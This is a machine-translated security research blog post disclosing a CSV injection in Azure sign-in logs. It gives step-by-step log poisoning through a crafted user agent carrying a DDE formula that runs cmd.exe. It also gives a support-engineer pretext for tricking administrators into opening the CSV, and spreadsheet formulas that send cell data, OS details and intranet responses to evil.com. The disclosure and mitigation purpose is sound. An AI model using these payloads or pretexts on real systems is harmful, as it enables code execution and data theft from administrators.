AzureログのCSVインジェクション

2023年12月12日
Dmitriy Beryoza
Senior Security Researcher
AzureログのCSVインジェクション

*本記事は自動翻訳です。詳細は英語版をご確認ください。

クラウドへの世界的な移行に伴い、企業は環境内の悪意ある活動を追跡する方法を再考しなければならなくなった。パケット・キャプチャのような旧来のモニタリング・メカニズムが利用できなくなり、イベント・ログが新たな脚光を浴びるようになった。多くの場合、イベントログはインフラで何が起こっているかを追跡する唯一のツールです。

クラウドプロバイダーは、ロギング機能の実装に関して成長痛を抱えている。特にAzureは、複数のログ品質の問題に対処してきた。ログはまた、あなたの環境をマップアウトしようとする攻撃者にとって格好の偵察ターゲットとなり、機密情報がそこから漏れる可能性がある。

これらの問題は深刻ではあるが、「受動的」なものであり、情報の漏洩は最悪の事態である。しかし、ログが企業に対する攻撃の媒介となることもあります。このブログでは、そのような悪用について説明します。

ログ・インジェクションとCSVインジェクション

ログインジェクションは、特別に細工された悪意のあるペイロードをログに追加することで、敵がログの内容に影響を与えることができる攻撃です。このようなことが起こるのは、ユーザの行動によってログに新しいレコードが追加されることが頻繁にあり、そのようなレコードにはユーザが管理しているデータ (ユーザID、電子メールアドレス、メッセージの件名など) が含まれていることが多いからです。このデータが悪意を持って細工されている場合、ログを処理するアプリケーションは攻撃を実行するように騙されるかもしれません。例えば、XSS (クロスサイトスクリプティング) のペイロードを含む偽の電子メー ルアドレスをアカウント登録フォームに送信することができます。そして、このログをブラウザで開いたアプリケーション管理者は、XSS 攻撃の犠牲者になるかもしれません。

AzureのログはCSV(Comma-Separated Values)ファイルとしてダウンロードすることができ、CSVインジェクションの脆弱性があります。このタイプの攻撃では、CSVファイルにExcelの数式(通常は等号-「=」で始まる)が含まれていると、ファイルを開いたときにExcelによってその数式が実行されます。数式の中には悪意のあるものもあり、OSコマンド実行やその他の悪用を引き起こす可能性があります。これは、任意のコマンドが実行される可能性があるため危険であるだけでなく、CSVファイルは単なるテキストファイルであり、損害を与えることはあり得ないと考えているため、ユーザーは通常このことを知らない。 

私たちは、Azure の管理者を攻撃するために使用できる、ログ・インジェクションと CSV インジェクションを組み合わせた新しいインスタンスを発見しました。このような脆弱性は過去にも報告されていますが、このインスタンスは認証なしで、つまりクラウド環境のアカウントを持っていなくても実行できるため、より危険です。

攻撃シナリオ

攻撃は2段階からなる:

  1. Azureのログを汚染する
  1. 被害者の管理者にソーシャルエンジニアリングでログをCSVファイルとして開かせる。

*この攻撃は、完全に更新されたMS Excelのインスタンスでは機能しないことに注意してください (これについては後で詳しく説明します) 。

悪意のあるユーザーエージェントによるAzureログの汚染

悪意のあるコマンドでログを汚染するためには、特別な権限も、被害者システムのアカウントさえも必要ない。必要なのは既存のユーザーのユーザー名だけだ。

インジェクションのペイロードをユーザーエージェント文字列として送信することから始める:

  1. Microsoft Edgeを起動する (以下の詳細に従ってユーザーエージェントを操作できるのであれば、どのブラウザでも動作します。)
  1. デベロッパーツール (Ctrl+Shift+I) を開き、右上のメニューをクリックし、コマンドの実行(Ctrl+Shift+P)を選択します:
コンピュータのスクリーンショット自動生成される説明文

  1. network conditions"と入力してEnterキーを押す:
コンピュータのスクリーンショット自動生成される説明文


  1. 開いたドロワーで「Use browser default」のチェックを外し、一番下のフィールドに以下の文字列をペーストする:


=msexcel|' \...∕WindowsSystem32∕cmd.exe /c calc.exe'!'A1'

コンピュータのスクリーンショット自動生成される説明文




このサンプルのExcel数式は、Dynamic Data Exchange(DDE)プロトコルを使用してCalculatorを起動します。実際のペイロードは、より破壊的なもの(次の感染ステージをダウンロードするPowerShellコマンドなど)になります。

  1. ドロワーを閉めずに、https://portal.azure.com、ターゲットシステムの既存のアカウントの電子メールを入力する。
  1. パスワードを求められたら、任意の文字列を入力してください(ログインに成功することが目的ではありません!):

ログイン画面のスクリーンショット自動生成される説明文
ログインページのスクリーンショット自動生成される説明文

被害者にログを開かせる

ターゲットのAzureテナントのサインインログに、毒化されたログレコードが含まれるようになりました(実際に配信されるまで数分かかる場合があります)。

これで、対象の管理者にソーシャルエンジニアリングでログを開かせることができる。これができるポータルには2つのサービスがある:Log AnalyticsとMicrosoft Entra IDだ。前者について説明する。

Azure Log Analyticsへの読み取りアクセス権を持つユーザーであれば誰でも十分なので、トップレベルの権限を持つ管理者である必要はありません。 

様々な口実が考えられる。例えば、"Azureのテクニカルサポートエンジニア"が管理者に連絡して、"不審なログインの試み"を調査する支援を要請することができる。

手順は以下の通り:  

  1. ターゲットにAzure Log Analyticsを開くように指示し、SigninLogsテーブルをクエリ ウィンドウにロードします (ダブルクリックします) 。Run] ボタンをクリックして、デフォルトのクエリーを実行します:

コンピュータのスクリーンショット自動生成される説明文
  1. ログがロードされ、エントリーのひとつに我々のペイロードが含まれる:
コンピュータのスクリーンショット自動生成される説明文
  1. 分析しやすくするため」に、ログをCSVファイルとしてエクセルに読み込むようターゲットに指示する:

コンピュータのスクリーンショット自動生成される説明文
  1. ログはエクセルで読み込まれます。警告メッセージが表示されますが、対象者は無視してください:

コンピュータのエラーメッセージのスクリーンショット説明文は自動的に生成されます。
  1. 別の警告メッセージが表示されるが、ターゲットも無視すること。この警告が表示されるアプリケーションは「MSEXCEL.EXE」であり、「CMD.EXE」のようなものよりは怪しくない:  
コンピュータのスクリーンショット自動生成される説明文
  1. ペイロードが意図したとおりに電卓インスタンスがポップアップします:

コンピュータのスクリーンショット自動生成される説明文


本動画では、その攻撃の様子を見ることができます。

講演「Between a Log and Hard Place: (mis)Adventures in Azure Logs」のデモ

ExcelのDDE保護への対応

この脆弱性は、MS Excelの最新アップデート版では、そのままでは発動しません。マイクロソフトは、デフォルトで Excel の数式から DDE サーバーが起動しないように緩和策を実装しています。ペイロードが正しく動作するには、ターゲットが古いバージョンの Excel を使用しているか、最新バージョンの Excel でDDE サーバーの起動が有効になっている必要があります(ソーシャル・エンジニアリングの段階の一部として攻撃者に指示されるなど)。

Excelでこの保護を無効にするには、「ファイル」→「オプション」→「トラストセンター」→「トラストセンターの設定...」と進みます。> 外部コンテンツ]を選択し、[動的データ交換サーバーの起動を有効にする]をチェックします(推奨されません):

コンピュータのスクリーンショット自動生成される説明文

DDEを超えて

DDE呼び出しの制限はユーザーを安全にするように見えるかもしれないが、その安全性は欺瞞に満ちている。DDE を必要としない他のいくつかの危険な数式を注入することができます。以下にいくつかの例を示します(ほとんどの場合、ファイルを開くと警告メッセージが表示されます):

フォーミュラ 効果
=HYPERLINK("https://evil.com/", "Click for more details")
ユーザーがクリックすると悪意のあるサイトに移動するハイパーリンクを作成します。
=IMAGE("https://evil.com/a.png")
スプレッドシートに画像を挿入し、ユーザのIPアドレスを攻撃者に漏らす(この数式と以下の数式は、ファイルを開くと自動的に実行される)。
=image("https://evil.com/a.png?"&indirect("r[1]c",0))
同じだが、ログファイル内の別のセルの内容も攻撃者に漏らす。アプリケーション名、IPアドレス、ユーザー名、ID、ジオロケーション、その他ログに存在する個人情報を漏らすように拡張できる。
=IMAGE("https://evil.com/a.png?"&INFO("osversion")&":"&INFO("release")&":"&INFO("directory")")
同様だが、ユーザーのOSバージョン、エクセルのバージョン、現在のフォルダ名が漏れる。
=WEBSERVICE("https://evil.com/?"&INFO("osversion"))
ウェブサービスの呼び出しにより、ユーザーOSのバージョンをリークする。
=ウェブサービス("https://evil.com/?"&ウェブサービス("https://intranet-site/secret-service"))
ファイアウォールの内側にある)イントラネット・サービスを呼び出し、その結果のデータを攻撃者に転送する。

情報開示

我々は責任を持ってこの脆弱性をマイクロソフト社に開示した:

2022-09-13- MSRC に報告
2022-09-21- MSRC が回答:「Microsoft Excel がファイルを開く方法に脆弱性が存在します。また、Microsoft Excelの警告をクリックスルーする必要があります。次期バージョンのリリースにおける修正として、DND予防措置としてCSVインジェクションのペイロードをブロックすることを検討することができます。」

マイクロソフトは、CSVインジェクションのペイロードを防ぐための変更を行うことに積極的ではなかったようで、この脆弱性は今日まで存在している。 

緩和

エクセルのセキュリティアップデートがDDEペイロードのトリガーを防ぐというマイクロソフトの説明は正しいが、他にも考慮すべき要素がいくつかある:

  • 被害者は、パッチが適用されていない古いバージョンのエクセルをインストールしていたり、ソーシャル・エンジニアリングによって防御を解除されている可能性があります。私たちは、このシナリオの1つを上で示した。
  • エクセルには危険なDDE以外の数式があります。その例をいくつか紹介しました。さらに、MicrosoftはExcelの数式に新しいPythonの機能を追加しており、インジェクションによってPythonのコードを呼び出すと、新しい予期せぬ結果をもたらすかもしれません。  
  • 他のアプリケーションでもCSVファイルを開くことができ、新たな悪用が生まれる可能性がある。 例えばLinuxでは、LibreOfficeはCSVファイルを開くのに使われる人気のオフィス・スイートだ。これはExcelの数式を実行し、DDEもサポートしている。
  • 最後に、"Defense in depth "を実践することが重要である。Excelの修正に頼るだけではなく、Azureが生成するCSVのソースで数式インジェクションの可能性を排除することも、この実践に合致するだろう。

We believe that the right course of action is for Microsoft to sanitize values in CSV file cells that begin with "=" (and some others cells that start with "+", "-", "@", and some other characters can also be interpreted as formulas). The original values do not have to be removed (after all, they may be important to the defender). Prefixing them with some string that clarifies the intent (e.g. "<INSERTED TO MITIGATE POSSIBLE CSV INJECTION>") will be sufficient.

それが実現するまでは、Azureユーザーは、CSVファイルを開くために使用しているすべてのツールを完全にアップデートし、Azureログに含まれる悪意のあるペイロードや、それを悪用しようとするソーシャル・エンジニアリング攻撃の危険性について、ITスタッフを教育することが推奨される。

このブログ記事やその他のトピックについて、私たちと直接交流しましょう。 Vectra AI Redditコミュニティ.